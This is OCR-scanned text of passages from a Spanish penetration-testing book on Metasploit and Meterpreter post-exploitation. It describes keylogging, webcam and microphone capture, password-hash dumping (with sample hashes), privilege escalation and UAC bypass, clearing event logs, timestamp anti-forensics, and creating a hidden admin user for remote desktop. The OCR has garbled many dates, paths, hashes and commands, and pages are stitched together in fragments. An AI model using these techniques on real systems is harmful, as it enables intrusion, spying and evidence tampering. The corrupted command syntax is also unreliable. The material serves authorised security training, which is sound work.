- Hostname: metasploit.co11
- Valid: from Tue, 16 Mar 2010 12:09:59 Gl1T until Hon, 01 Apr 2013 22:92:24 GHT
- Issuer: 07969287, http: //certificates .godaddy. com/repository, GoDaddy.com, Inc. , scottsdale,
Arizona, US
- Fingerprint: da: 16:ad:cb:4c: 6f: 7d: cf:b7: 7e :5e:e5:f9:a7 :al: Bb:3a:a2: 6a: 92
(R)eject, accept (t)emporarily or accept (p)ermanently? p
A external/source/javapayload/src/metasploit/RHIPayload.java
A external/source/javapayload/src/metasp loit/AESEncryption. java
A external/source/javapayload/src/metasploi t/PayloadTrustManager. java
U external/source/javapayload/src/metasploit/Payload. java
A external/source/javapayload/src/metasploit/RHILoader. java
A external/source/javapayload/sre/ rmi
A external/source/iavaoavload/src/rmi/RHICaotureServer. iava
Fig 3.37: Actualización automática con msfapdate.
Como se ha mencionado anteriormente en este libro, existe un gran problema con las actualizaciones
automáticas y es que se pierde el control sobre lo que se está realizando en el framework. Por
ejemplo, si actualmente se actualiza Metasploit, en su versión libre, se perderá la funcionalidad
autopwn y no podrá ser utilizada por el auditor en el test de intrusión. Es por esto, que en muchas
ocasiones se recomienda el uso de la actualización manual y de manera controlada. Además, en el
proceso de actualización también se descargan archivos para mejorar la estabilidad delframework.
•••
estar escritos para Metasploit.
Mii Metasploit para Pentesters
Una vez se disponga de esto claro, el auditor puede personalizar su entorno y sus rutas dónde
encontrar sus exploits a su antojo. Por ejemplo, si el auditor quiere una carpeta denominada
MisExploits que contenga todos los exploits que él requiera, una buena práctica sería crear esta
carpeta en la ruta lpentest/exploits!jramework3/modules/exploits, de esta manera cuando el auditor
quiera acceder desde msfconsole al contenido de ese directorio, simplemente deberá ejecutar use
exploit/MisExploits y elegir el fichero que se requiera cargar o utilizar.
Para el resto de componentes y módulos este proceso es similar y puede ser llevado a cabo de
manera análoga.
En primer lugar se accede al sitio web y se busca el exploit requerido, se puede hacer uso del buscador
que viene incorporado en el sitio a través de su URL http://www.exploit-db.com/search. Una vez se
localice el exploit requerido para llevar a cabo el proceso de explotación se debe descargar al equipo,
en principio sobre cualquier ruta. Hay que tener en cuenta que el exploit está preparado para ser
utilizado por elframework.
Adobe Flash Plaver AVM Verification Lo!!ic Arrav Indexin!! Code Execution
EDB-ID: 19295 CVE: 20ll-2110 OSVDB-ID: 48268
-...-.-=----Home----
Previous Exploit Next Exploit
##
lt $Id$
##
##
# This file is part of the Hetasploit Framework and may be subject to
# redistribution and connercial restrictions. Please see the H.etasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
•••
Capítulo 111. El arte de la intrusión M�W
Una vez que se dispone del fichero con extensión rb, se debe alojar en una ruta que cuelgue de la
raíz de los exploits, es decir, la ruta /pentest/exploits/framework3/modules/exploits. En esta ruta
se pueden crear otros directorios o alojar el exploit en alguna ya existente. Para este ejemplo se
creará una nueva carpeta en la ruta comentada anteriormente cuyo nombre será MiExploit. Tras la
descarga del exploit se ha denominadojlashArtelntrusion.rb al fichero que lo contiene. Este fichero
deberá ser copiado o movido a la ruta /pentest/exploits/framework3/modules/exploits/MiExploit,
recientemente creada.
Una vez que se dispone de los nuevos exploits en las rutas, y éstos estén preparados se debe arrancar
elframework para poder interactuar con ellos. Tras lanzar msfconsole se utiliza el comando use para
cargar el módulo utilizando la ruta dónde se alojajlashArtelntrusion.rb. Como se puede observar
en la siguiente imagen es bastante sencillo e intuitivo la adición de exploits y su organización en el
framework, mediante el uso de directorios.
•••
Capítulo TV. Meterpreter & Post-Explotation
Mil
Capítulo IV
Meterpreter & Post-Explotation
l. Ámbito
El presente capítulo se centra en el ámbito de la post-explotación una de las fases más delicadas del
test de intrusión. En esta fase el auditor puede obtener gran cantidad de información sobre el estado
de una red, de una máquina o incluso, poder obtener acceso a zonas donde antes no se podía acceder.
En muchas ocasiones se quiere llegar a zonas de la red desde las que un auditor, en el estado actual,
no puede lograr acceso. Pero sí es cierto que el auditor puede demostrar a la organización que está
siendo auditada, que tener un mal diseño de red, o no delimitar correctamente los accesos a zonas
de la red sensibles, pueden provocar accesos no autorizados. En muchas ocasiones estos accesos
no se realizan directamente desde la máquina que dispone el auditor, y sí a través de máquinas con
menor peso en la organización, las cuales proporcionan conectividad con zonas más sensibles de
la red. Incluso, puede que las máquinas comentadas anteriormente compartan credenciales con las
máquinas más importantes, un grave error de seguridad que sin duda el auditor podrá aprovechar
para impersonalizar.
La post-explotación es por tanto una de las fases comprendidas en un test de intrusión y la cual debe
ser procesada de manera minuciosa. En esta fase el auditor recopilará información real del escenario,
utilizando como intermediario una máquina vulnerada en la fase anterior, la fase de explotación.
En dicha fase se indicaba que la elección del payload es una acción crítica ya que las funcionalidades
que se podrían realizar después de lograr la explotación dependían de éste. En algunas ocasiones no
se necesitan muchas funcionalidades y sí una en concreto. Mientras que en otras ocasiones lograr
tener un control completo sobre la máquina víctima puede ayudar, y mucho, en la fase de post
explotación.
Cuando se dispone de acceso fisico a una máquina, uno de los payload más interesantes que se
puede ejecutar es alguno que proporcione una escalada de privilegios en la misma. No es necesario
montar un Meterpreter, el cual se estudiará más adelante, para simplemente elevar privilegios.
También hay que recalcar que en muchas otras ocasiones se necesita de payloads como Meterpreter
para poder disponer de un control total sobre la máquina víctima. Pero no sólo un control total sobre
la máquina vulnerada, sino aprovechar esta situación para controlar el entorno de dicho equipo.
•••
Mf:I Metasploit para Pentesters
Para poder ilustrar esta última sentencia se propone un escenario como el siguiente:
El auditor dispone de conectividad con una máquina con sistema operativo Microsoft
Windows XP vulnerable y posee también los exploits necesarios para conseguir acceso.
El auditor no dispone de conectividad directa con una máquina con sistema operativo
Microsoft Windows Server 2008. Entonces, el auditor no puede auditar a priori dicha máquina.
El sistema operativo que utiliza el auditor no es relevante, pero se supone que es una
distribución BackTrack.
La máquina con Windows XP sí dispone de conectividad con la máquina Windows Server
2008.
Si el auditor vulnera la máquina con Windows XP dispone de al menos conectividad con el equipo
Windows Server 2008. A partir de ese momento se puede auditar e intentar lograr acceso a dicha
máquina. Como se verá más adelante se pueden probar distintas técnicas para conseguir dicha
acción. La impersonalización de usuarios o técnicas como el pivoting ayudan y mucho al auditor en
este tipo de escenarios.
Se pueden desarrollar scripts y añadirlos al framework de manera sencilla. Este hecho dota a
Meterpreter de flexibilidad y la posibilidad de aumentar las funcionalidades que el payload aporta a
los usuarios. Es realmente dificil enumerar todas las acciones que se pueden realizar con Meterpreter,
el alcance de la imaginación del usuario es realmente importante.
La técnica que se utiliza para ejecutar un Meterpreter en una máquina vulnerada es la inyección en
memoria de DLLs en los procesos en ejecución del equipo vulnerado. Después de explotar el equipo
vulnerable se cargan dichas DLLs en el proceso vulnerado y se obtiene una interfaz intuitiva de línea
de comandos. Generalmente, Meterpreter migra de un proceso a otro para evitar que el cierre o la
caída del proceso vulnerable haga caer la conexión con la máquina atacante.
•••
Capítulo IV Meterpreter & Post-Explotation MPI
Los comandos propios de Meterpreter se estructuran en tres categorías principales que son las
siguientes:
Core commands.
Stdapi
Priv
Core commands
Los comandos de tipo núcleo permiten realizar distintas funciones básicas en la sesión en la máquina
remota. El objetivo de estos comandos es el de ejecutar scripts, cargar módulos e interactuar con la
máquina remota.
En la imagen se puede visualizar el listado completo de los comandos de tipo núcleo. Más adelante
se estudiarán las distintas acciones que se pueden realizar con ellos agrupándose por tipos de
funcionalidades que presentan.
rore Commands
Command Description
? Help menu
background Backgrounds the current session
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information about active channels
close Closes a channel
exit Termínate the meterpreter session
help Help menu
info Displays information about a Post module
interact Interacts with a channel
irb Drop into irb scripting mode
load Load one or more meterpreter extensions
migrate Migrate the server to another process
quit Termínate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
use Deprecated alias for 'load'
write Writes data to a channel
Fig 4.01: Listado decore commands de Meterpreter.
•••
111111 Metasploit para Pentesters
Hay que tener en cuenta la existencia del comando background, el cual permite dejar la sesión de
Meterpreter en segundo plano y volver a la interacción con la interfaz de Metasploit que se esté
utilizando, por ejemplo, msfconsole o msfcli.
Ejecuciones y cargas
Para realizar ejecuciones de scripts o cargar módulos que proporcionen nuevas funcionalidades
a Meterpreter o incluso ejecutar los ficheros de extensión RC para automatizar tareas se pueden
utilizar distintos comandos.
El comando use se encuentra en desuso y es equivalente al comando load con el que se pueden cargar
módulos para Meterpreter. El comando resource permite ejecutar archivos de automatización, los
conocidos por la extensión RC. Uno de los comandos más importantes es run ya que permite ejecutar
los scripts de Meterpreter. Estos scripts son una de las partes más importantes de la herramienta por
toda la funcionalidad que aportan y el constante desarrollo de éstos por la comunidad.
Comandos de ayuda
Los comandos de ayuda e información de los que dispone Meterpreter son los siguientes:
help. El cual muestra información de uso del comando del que se requiere información.
En ocasiones no se encuentra disponible ayuda del comando a través de help, es por ello que
hay que ejecutar el comando del que se requiere información con el parámetro -h activo.
El comando ? proporciona una ayuda similar a la del comando help.
•••
Capítulo IV Meterpreter & Post-Explotation •m•
la imagen, con este comando se pueden ejecutar aplicaciones en la máquina remota. Este comando
se explicará más adelante.
Una vez que Meterpreter ha ejecutado un proceso en la máquina remota se puede interactuar con
éste a través de la línea de comandos. Por ejemplo, con el comando execute se ha lanzado una cmd
en la máquina remota y como se ha ejecutado execute con el parámetro -e se ha creado un canal por
el que se podrá interactuar con dicho proceso.
El comando channel permite conocer los canales que se encuentran activos, e incluso con los
parámetros-r y -w es posible leer la salida del proceso correspondiente y escribir en dicho proceso.
El comando read es equivalente a utilizar la instrucción channel -r, mientras que el comando write
es compatible con la instrucción channel -w.
Id Class Type
1 3 stdapi_process
C:\WINDOWS\system32>
meterpreter > write l
Enter data followed by a on an empty line:
cd \
cd \
(:\>
meterpreter > 1 I
Fig 4.03: Interacción con el canal creado en un proceso.
El comando interact permite interactuar con el proceso ejecutado en la máquina remota, simplemente
indicando el identificador del canal que hay abierto con el proceso remoto. En el caso del proceso
cmd.exe abierto anteriormente se debe ejecutar la instrucción interact <id canal> para poder escribir
en la linea de comandos remota.
Stdapi
Este tipo de comandos permiten al usuario realizar acciones comunes, que cualquier usuario puede
ejecutar en el sistema operativo que utilizan, sobre el sistema operativo de la máquina remota.
Existen distintas categorías de comandos de tipo stdapi que son las siguientes:
•••
IHI Metasploit para Pentesters
File System Commands. Los comandos del sistema de archivos permiten al atacante o
auditor realizar operaciones sobre los archivos tanto remotos como locales.
Networking Commands. Los comandos de red permiten al usuario realizar consultas y
gestionar los dispositivos de red de la máquina remota.
System Commands. Los comandos de sistema permiten gestionar recursos del sistema.
User Interface Commands. Los comandos de interfaz de usuario permiten realizar
acciones sobre el escritorio, captura de pulsaciones de teclado, captura de pantalla o el tiempo
de inactividad del sistema.
Webcam Commands. Estos comandos permiten grabar del micrófono del equipo remoto
si lo hubiera, listar las webcams disponibles en la máquina remota o, incluso, realizar
fotografias de la víctima con la webcam.
Command Oescription
Como curiosidad indicar que los comandos clásicos de GNU/Linux están disponibles para el sistema
remoto. Es decir, la ejecución de Is, que es un comando no válido en Windows, provoca la obtención
del listado de archivos de la máquina Windows vulnerada.
Hay que destacar los comandos upload y download con los que se puede subir un archivo a la
máquina vulnerada y descargar un archivo de la máquina víctima. Como se puede visualizar en la
imagen siguiente la sintaxis de estos comandos es realmente sencilla.
También es interesante ver los comandos rm, mkdir, rmdir, edit que son fácilmente entendibles. El
comando search permite realizar búsquedas de ficheros en el equipo remoto. Search dispone de
•••
Capítulo IV. Meterpreter & Post-Explota/ion ,,,,,
parámetros para afinar las búsquedas, por ejemplo con el parámetro -f se pueden buscar patrones de
ficheros, con el parámetro -d se pueden realizar búsquedas de directorios, unidades, etcétera.
Networking Commands
El listado de comandos para realizar las gestiones de red se puede visualizar a continuación.
Command Deseription
El comando route permite visualizar y manipular las entradas de la tabla de rutas del equipo remoto.
Por otro lado, el comando ipconjig permite visualizar la configuración de red de la máquina remota.
El comando portfivd permite realizar portforwarding sobre la máquina vulnerada.
System Commands
Los comandos de sistema son realmente útiles e interesantes. Son de los comandos de Meterpreter
más utilizados por los usuarios ya que proporcionan gestión del sistema vulnerado. A continuación
se puede visualizar un listado de los comandos de sistema de Meterpreter.
•••
Fig 4.07: Listado de comandos de sistema de Meterpreter.
'"'' Metasploit para Pentesters
Hay que destacar ciertos comandos del listado como es clearev, con el que se puede eliminar
información de los registros. Con este comando el atacante puede borrar las huellas de las operaciones
que ha realizado en el sistema vulnerado. Se elimina información correspondiente a los registros de
aplicación, de seguridad y del sistema.
Los comandos kill y ps permiten eliminar procesos que se están ejecutando en la máquina remota y
listar los procesos con gran cantidad de detalle, entre toda esta información ofrecida destaca el PID
de los procesos. Otros comandos a tener en cuenta son reboot y shutdown, que permiten reiniciar y
apagar la máquina remota respectivamente.
El comando reg proporciona una estructura para poder interactuar con el registro de la máquina
remota. La sintaxis es reg <comandos> <parámetros>. A continuación se especifican los tipos de
comandos que recibe reg:
Enumkey. Este comando enumera o lista el contenido de una clave concreta. Como
ejemplo se presenta la siguiente instrucción: reg enumkey-k HKLM\\Software.
Createkey. Crea una clave en la entrada que se especifique. Como ejemplo se presenta:
reg createkey-k HKCU\ \hacked.
Deletekey. Elimina la clave correspondiente con la ruta que se indique en el parámetro -k.
Como ejemplo se presenta la siguiente instrucción: reg deletekey-k HKCU\ \hacked.
Queryclass. Consulta el tipo de la clave.
Setval. Asigna un valor a una clave del registro. Un ejemplo sería: reg setvalue-k HKCU\ 1
hacked-v nombre-d valorDeDatos
Queryval. Consulta el valor de un campo de una clave del registro. Un ejemplo sería: reg
queryval-k HKCU\\hacked-v nombre.
El comando shell es uno de los más interesantes ya que proporciona una linea de comandos sobre
la máquina remota. De este modo se puede administrar el equipo remoto como si se estuviera
físicamente en el mismo.
Por último, el comando sysinfo ofrece información sobre el sistema vulnerado. Dicha información
consiste en el nombre del equipo, el sistema operativo,(el Service Pack en caso de que sea un
Windows), la arquitectura del equipo y la configuración regional de la máquina.
•••
Capítulo IV. Meterpreter & Post-Explotation
Cabe destacar el comando idletime con el que se puede consultar el tiempo de inactividad del sistema
por parte de la víctima, es decir, el tiempo que la víctima lleva sin utilizar su sistema.
Los comandos que empiezan por keyscan proporcionan control sobre el teclado de la víctima. Con
el comando keyscan_start se empiezan a capturar las pulsaciones de teclado del equipo vulnerado,
mientras que con keyscan_stop se dejan de capturar dichas pulsaciones. El comando keyscan_dump
obliga a Meterpreter a realizar un volcado del buffer donde están contenidas las pulsaciones en la
máquina víctima.
Webcam Commands
Los comandos stdapi de tipo webcam son muy vistosos ya que realizan acciones sobre el micrófono
y la webcam de un equipo vulnerado. El listado de comandos se puede visualizar a continuación.
Colllllland Description
record mic Record audio from the default microphone far X seconds
webcam-list List webcams
webcam=snap Take a snapshot from the specified webcam
Fig 4.09: Listado de comandos relacionados con el micrófono y la webcam.
•••
•MI Metasploit para Pentesters
Priv
Los comandos del módulo priv proporcionan funcionalidades para elevar privilegios, manipular
información sensible que puede ser utilizada por un analista forense y realizar otras tareas de interés
como es la manipulación del fichero SAM, Security Account Manager.
Command Description
getsystem Attempt to elevate your privilege to that of local system.
I
Priv: Password database commands
Command Deseription
hashdump Dumps the contents of the SAM database
Command Oescription
timestomp Manipulate file MACE attributes
Fig 4.10: Listado de comandos del módulo priv.
El módulo se divide en tres categorías, que permiten realizar diversas acciones. Dichas categorías
son:
Elevate Commands. Realiza elevaciones de privilegios en el sistema vulnerado.
Password Database Commands. Obtiene información sobre usuarios y contraseñas.
Timestomp Commands. Realiza la manipulación de los atributos de los archivos.
Elevate Commands
El comando getsystem permite realizar intentos para elevar privilegios en el sistema vulnerado. Con
sistemas Windows XP se conseguirá realizar esta operativa de manera sencilla, pero si el usuario
se encuentra con Windows 7 la elevación de privilegios supone un reto mayor, el cual se verá más
adelante.
•••
Capítulo IV Meterpreter & Post-Explotation l11il
eter reter > getuid
erver username: PRUEBAS-01760CC\Administrador
eter reter > getsystem
...got system (vía technique 1).
eter reter > getuid
erver username: NT AUTHORITY\SYSTEM
eter reter >
Fig 4.11: Elevación de privilegios en un sistema Windows XP vulnerado.
Timestomp Commands
El comando timestomp permite manipular los atributos de un fichero del sistema vulnerado. ¿Con
qué fin? Principalmente, se busca realizar un antiforensics con el que las pistas dejadas en el equipo
queden confusas e incongruentes.
El comando implementa gran variedad de opciones que se listan a continuación:
Modificación del último acceso. Para llevar a cabo esta acción se debe ejecutar la siguiente
instrucción timestomp <rutafichero remoto> -a "12/22/198612: 12:34 ". El formato de fecha
va entre comillas y tiene dos campos, el primero es la fecha con el formato MMIDDNYYY,
y el segundo es la hora con formato HH:MM:SS.
Fecha de creación del archivo. Se puede modificar la fecha de creación del archivo a través
de la siguiente instrucción timestomp <rutafichero remoto> -e "12/22/1986 13:05:57".
Fecha de modificación. Se puede modificar esta fecha con la siguiente instrucción
timestomp <rutafichero remoto> -m "12/22/198623:23:12".
Forzar modificación de todos los campos anteriores. Para asignar la misma fecha a los
campos de último acceso, modificación y creación se dispone de la siguiente instrucción
timestomp <rutafichero remoto> -z "12/22/198622:34:54".
Visualización de los atributos. Para visualizar los atributos de un fichero del equipo
remoto se ejecuta la siguiente instrucción timestomp <rutafichero> -v.
Para ejecutar una operación sobre los atributos de un directorio de manera recursiva se
•••
dispone de la siguiente instrucción timestomp <rutafichero> -r.
@1mj Metasploit para Pentesters
3. Scripts de Meterpreter
Existen gran cantidad de scripts que se pueden ejecutar por Meterpreter en la máquina vulnerada
a través del comando run. Para conocer que scripts hay disponibles en una sesión de Meterpreter
se debe escribir el comando run y mediante el uso del tabulador para autocompletar se mostrará un
mensaje con todas las posibilidades que se disponen.
•••
Capítulo [V. Meterpreter & Post-Explotation
11111
Los scripts son desarrollados por la comunidad, lo que hace que existan gran cantidad de ellos.
Algunos se pueden obtener mediante subversion y otros es obligatorio hacerlo de manera manual.
En la ruta /pentest/exploits/jramework3/scripts/meterpreter se dispone de gran cantidad de scripts
de este payload tan especial. Los scripts que vienen con Metasploit dependen de la versión que se
obtenga del producto y las actualizaciones que vayan surgiendo de éste.
winenum: el informador
Este script es el más completo para la recopilación de información de la máquina vulnerada.
Los resultados se almacenan en la máquina del atacante en la ruta /root/.msf3/logslscripts, o si el
framework es la versión 4 la ruta sería /root/.msf4/logslscripts.
winenum realiza numerosas acciones, entre las que destacan lanzar gran cantidad de órdenes de línea
de comandos y de órdenes de WMI, obtener un listado de aplicaciones que se encuentren instaladas
en la máquina vulnerada, realizar un volcado de los hashes de la máquina, obtener un listado de
tokens, etcétera.
•••
•111• Metasploit para Pentesters
Archivos Temática
arp_a.txt
ipconjig_ali.txt
ipconjig_displaydns.txt
netsh_firewall_show_conjig.txt
netstat-nao.txt Información, configuración
netstat-ns.txt y estado de la red.
netstat vb.txt
net view domain.txt
net view.txt
route vrint.txt
gpresult_SCOPE_COMPUTER_Z.txt
Políticas del sistema.
gpresult_SCOPE_ USER_Z. txt
hashdump.txt
net accounts.txt
net_group.txt
net_group_administrators.txt
Información usuario y
net_localgroup. txt
hashes.
net_localgroup_administrators.txt
net session.txt
net user.txt
tokens.txt
net-share.txt Recursos compartidos.
program_list.csv Aplicaciones.
Tabla 4.01: Archivos y temática de los resultados de Winenum.
root@bt:-/.11Sf4/logs/scripts/winenum/PRUEl!.AS-81768CC_29128829.5439# ls
arp a.txt net share.txt
cmd�xe e set.txt netsh firewall show config.txt
gpresul� SCOPE COMPUTER Z.txt netstat nao.txt -
gpresult�SCOPE-USER Z.txt netstat ns.txt
hashdump--:t"xt - � netstat�vb.txt
ipconfig all.txt net user.txt
ipconfig=:::displaydns.txt net-view domain.txt
net accounts.txt net-view--:t"xt
net-group administrators.txt programs_list.csv
net-group�txt PRUEBAS-01760CC 20120829.5430.txt
net=localgroup_administrators.txt route_print.txt-
net localgroup.txt tasklist svc.txt
net-session.txt tokens.txt
root@bt:-/.msf4/logs/scripts/winen1111/PRUE8AS-81768CC_29128829.5439# cat hashdu p.txt
Administrador:500:B735172c3a77d2c6aad3b435b51484ee:512b99009997c3b5588cafac9c0ae969:::
�sistente de ayuda:1000:317dd9337ea2d549dc6743cd7ee77792:eleclbc5Blf429f3a89578442879965d:::
Invitado:501:aad3b435b51494eeaad3b435b51484ee:31d6cfe8dl6ae931b73c59d7e0c089c0:::
pepe:1003:8735172c3a77d2c6aad3b435b51484ee:512b99099997c3b558Bcafac9c8ae969:::
SUPPORT_388945a0:1002:aad3b435b51494eeaad3b435b51484ee:3cbeda96lc438897Bebcc9448e725954:::
•••
Fig 4.16: Archivos generados por el script winenum.
Capítulo IV Meterpreter & Post-Explotation 101
Existe un script denominado remotewinenum cuya funcionalidad es idéntica a winenum, pero para
máquinas remotas. Se debe proporcionar el usuario, la contraseña y la dirección de la máquina
objetivo. Es decir, se utiliza de puente la máquina vulnerada para, sabiendo las credenciales de
un usuario de otra máquina, recoger información de una tercera máquina de la red. Por otro lado,
también se puede ejecutar este script sin parámetros, lo cual hará que se ejecute con las credenciales
o identidad con las que está corriendo Meterpreter.
A continuación se muestra un listado de los scripts cuyas funcionalidades son las de recolección de
credenciales e información del entorno vulnerado:
Script Descripción
Devuelve un listado con las aplicaciones instaladas en la máquina
get_application_list
vulnerada.
get_env Devuelve el listado de las variables de entorno de la máquina vulnerada.
Obtiene las credenciales almacenadas por Filezilla si la aplicación se
get_filezilla_creds
encuentra instalada en el sistema vulnerado.
Devuelve un listado de las subredes en las que se encuentra la máquina
get_local_subnets
vulnerada.
Obtiene las credenciales almacenadas por Pidgin si la aplicación se
get_pidgin_creds
encuentra instalada en el sistema vulnerado.
get_vncpw Obtiene credenciales de VNC, recuperándolas del registro de Windows.
Tabla 4.02: Listado de scripts gel para recolección de credenciales e información del entorno.
Los scripts getcountermeasure, gettelnet y getgui aportan unas funcionalidades muy interesantes en
la fase de post-explotación.
El script gettelnet permite al atacante habilitar el servicio de Telnet en el puerto 23. Existen distintas
opciones, como son la posibilidad de habilitar sólo el servicio. En este caso lo normal sería conocer
un usuario y una contraseña para poder conectarse con una aplicación de Telnet, por ejemplo Putty.
•••
'"' Metasploit para Pentesters
Gettelnet dispone, además, de la posibilidad de crear un usuario con contraseña en la ejecución de este
script, mediante la instrucción run gettelnet -u <usuario> -p <password>. Después, simplemente,
hay que utilizar una aplicación que soporte el protocolo de Telnet para conectarse con dicho usuario
y contraseña. Por último, comentar que se genera un script para limpiar la acción de creación de
usuario, el cual está disponible en la rutalroot/.msj3/logslscript/gettelnet/clean_up_<fecha>.rc.
En el escenario se parte de una sesión de Meterpreter obtenida tras la explotación en la fase anterior
del test de intrusión. La primera acción que ejecutará el auditor es conocer o recordar de qué
parámetros dispone el script getgui. Dicho script dispone de los parámetros -e para sólo habilitar el
servicio, -u para crear un usuario y -p para asignarle una contraseña, el funcionamiento es similar
al script gettelnet.
En primer lugar se habilita el servicio de escritorio remoto, y además se crea un usuario denominado
hacked con su respectiva contraseña como se puede visualizar en la imagen.
A continuación hay que estudiar las políticas de seguridad que dispone el sistema. Es altamente
posible que para conectar vía escritorio remoto se deba pertenecer al grupo de administradores de la
máquina. Se procede a abrir una shell o línea de comandos vía Meterpreter y se ejecuta la instrucción
correspondiente para añadir el usuario hacked al grupo de administradores de la máquina.
•••
Capítulo IV. Meterpreter & Post-Explotation Mili
Una vez que se dispone de un usuario perteneciente al grupo de administradores se puede utilizar la
herramienta rdesktop disponible en BackTrack para realizar la conexión. La instrucción a ejecutar es
la siguiente rdesktop -u hacked -p l 23abc. <Dirección IP>.
ca Q.ocumentos recientes �
g,MiPC
[}e.ane1decontrol
� Impresoras y faxes
JJ�scar
Por último y una vez realizada la acción que se requiera mediante el uso del escritorio remoto, se
va a proceder a la eliminación automática del usuario y a la desactivación del servicio de escritorio
remoto. De este modo, se evita levantar sospechas y se deja el sistema en el estado en el que se
encontraba desde un principio.
Cuando se habilitó el servicio de escritorio remoto a través del script getgui, se creó automáticamente
un script de automatización en la ruta lroot!msf4/logs/script/getgui/clean_up_ <fecha>.rc con el
que se automatiza la acción de deshabilitar el servicio y la eliminación del usuario.
•••
Fig 4.20: Proceso automatizado para eliminación y desactivación del servicio RDP.
Mili Metasploit para Pentesters
Este tipo de scripts disponen de dos categorías principales multi y windows. La categoría multi
contiene los scripts válidos para otros Meterpreter en otras plataformas, es decir, son scripts
independientes de la plataforma. La categoría windows en cambio son scripts válidos sólo para
sistemas operativos Windows.
En primer lugar se tratarán los scripts multi, los cuales pueden ser organizados en tres tipos:
Gather. Este tipo de scripts sirven para recolectar información de aplicaciones, del
sistema, del entorno, de la red, de credenciales de aplicaciones, etcétera.
Manage. Este tipo de scripts permite gestionar otros scripts.
General. Permiten realizar acciones de ejecución y cierre de tareas en Meterpreter.
Los scripts windows son más variados y específicos del propio sistema operativo, permitiendo
realizar numerosas tareas sobre la máquina vulnerada. A continuación se organizan los diferentes
tipos en detalle.
Wireless Scripts
Este tipo de scripts proporcionan funcionalidades relacionadas con la temática Wireless o redes
inalámbricas. El objetivo de éstos es extraer el máximo de información de los perfiles Wireless que
pueden existir almacenados en la máquina vulnerada. En sistemas Windows 7 o Windows Vista se
obtiene la contraseña para redes WPA, mientras que en Windows XP se obtiene la llave PBKDF2
derivada.
Recon Scripts
Este tipo de scripts proporcionan funcionalidad con la que se pueden obtener resoluciones de
nombres y descubrimiento de direcciones IP. Estos scripts utilizan Railgun para llevar a cabo su
cometido.
•••
Capítulo [V. Meterpreter & Post-Explotation ··�i
Manage Scripts
Este tipo de scripts permite realizar acciones de gestión sobre la máquina vulnerada. La lista de
acciones es amplia y variada, por ello, se enumeran las más interesantes en la siguiente lista:
Gestión de usuarios. Los scripts post/windows/manage/delete_user o post/windows/
manage/add_user_domain permiten realizar acciones sobre los usuarios de un dominio,
grupo de dominios o máquina local.
Gestión de elementos de red. La manipulación de certificados se realiza mediante el
uso de los scripts post/windows/manage/inject_ca o post/windows!manage/remove_ca, y la
manipulación de hosts mediante post/windows/manage/inject_host o postlwindows!manage/
remove_host. El comando autoroute también se encuentra presente mediante el script post/
windows/manage/autoroute y la habilitación del escritorio remoto se puede hacer con el
script post/windows/manage/enable_rdp.
Gestión de procesos y payloads. Con este tipo de scripts se puede compartir la máquina
vulnerada con otro equipo mediante la inyección de un nuevo payload a través de la ejecución
de post/windows/manage/payload_inject LHOST= <dirección IP máquina nuevo equipo>.
Lógicamente, el nuevo equipo deberá tener montado el handler exploit/multi/handler para
recibir la sesión. El comando migrate también dispone de un script con post/windows/
manage/migrate.
Ejecución de un script de Microsoft Windows PowerShell. Esta posibilidad dota de
flexibilidad y potencia a Metasploit. En una sesión de Meterpreter se puede ejecutar un script
de PowerShell gracias al script post/windows/manage/powershell/exec_yowershell.
Es recomendable visualizar el listado de los scripts de gestión ya que aportan gran flexibilidad
y potencia a la sesión de Meterpreter. A continuación se puede visualizar el listado de scripts
disponibles.
Gather Scripts
Los scripts de tipo gather proporcionan funcionalidad para recolectar y comprobar todo tipo de
información en la máquina vulnerada. Son los scripts que más abundan en Meterpreter y pueden
ayudar y mucho a conocer el estado de la máquina, del entorno y obtener el máximo de información,
•••
tanto confidencial como relevante, de dicha máquina.
101 Metasploit para Pentesters
Forense. Existen scripts para realizar búsquedas forenses en la máquina vulnerada. Por
ejemplo, el script post/windowslgather/forensics/imager permite realizar una imagen byte
a byte de discos remotos o volúmenes. El script post/windowslgather/forensics/enum_
drives permite listar las unidades y volúmenes de la máquina vulnerada. Estos scripts son
interesantes para realizar pequeñas pruebas de análisis forense en remoto sobre la máquina
vulnerada.
Espionaje de pantalla. Mediante el uso de post/windows/gather/screen_spy se realiza
una captura de pantalla cada 5 segundos, configurables, por lo que se va reconstruyendo lo
que está viendo la víctima. Realmente, para realizar espionaje de pantalla es mejor utilizar
VNC, sin controlar la máquina víctima, simplemente para visualizar lo que está realizando
la máquina vulnerada .
•••
Capítulo IV. Meterpreter & Post-Explotation
Una vez conseguidos los hashes se pueden crackear con la ayuda de las aplicaciones Caín o John
The Ripper. Otra opción a estudiar es la posibilidad de utilizar una GPU para agilizar, y mucho, el
proceso de fuerza bruta.
Escalate Scripts
Este tipo de scripts son a la vez mini exploits ya que se encargan de intentar elevar privilegios en la
máquina vulnerada. El éxito de la ejecución de estos scripts dependerá del sistema operativo donde
se ejecuten.
•••
NO:• Metasploit para Pentesters
El auditor dispone de una sesión de Meterpreter con un usuario estándar sin privilegios. El objetivo
es elevar privilegios llegando a ser usuario System y obtener información sobre las redes wireless
que tiene configurado y utilizar así la máquina vulnerada. Además, de encontrar información útil
sobre contraseñas de las redes wireless, lo cual puede aportar una nueva vía de investigación en el
test de intrusión.
La primera acción que se intentará es utilizar el script de tipo elevate para realizar un bypass a UAC.
Tras lanzar el script post/windows/escalatelbypassuac se obtiene una nueva sesión de Meterpreter,
con identificador distinto lógicamente. Si se ejecuta el comando sessions -len msfconsole se puede
visualizar que, aparentemente, se dispone de una nueva sesión de Meterpreter con el mismo usuario
que en la sesión previa.
Realmente esto no es cierto, ya que cuando se interactúe con la nueva sesión de Meterpreter y se
ejecute la instrucción getsystem, se obtendrá éxito en el intento de elevación de privilegios en la
máquina vulnerada.
•••
Capítulo IV. Meterpreter & Post-Explotatíon
••PI
meterpreter > run post/winaows/escaLate/oypassuac
Active sessions
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>II
Fig 4.29: Elevación de privilegios con éxito en Windows 7.
En este punto el auditor dispone de un usuario System con el que puede realizar cualquier tipo de
acción sin restricción en la máquina vulnerada.
Para realizar la recogida de información de las redes wireless almacenadas en la máquina Windows
7 se ejecutan los scripts de tipo wireless, los cuales han sido explicados anteriormente. La primera
•••
Metasploit para Pentesters
acc1on que se lleva a cabo es obtener un listado de las redes wireless que la máquina tiene
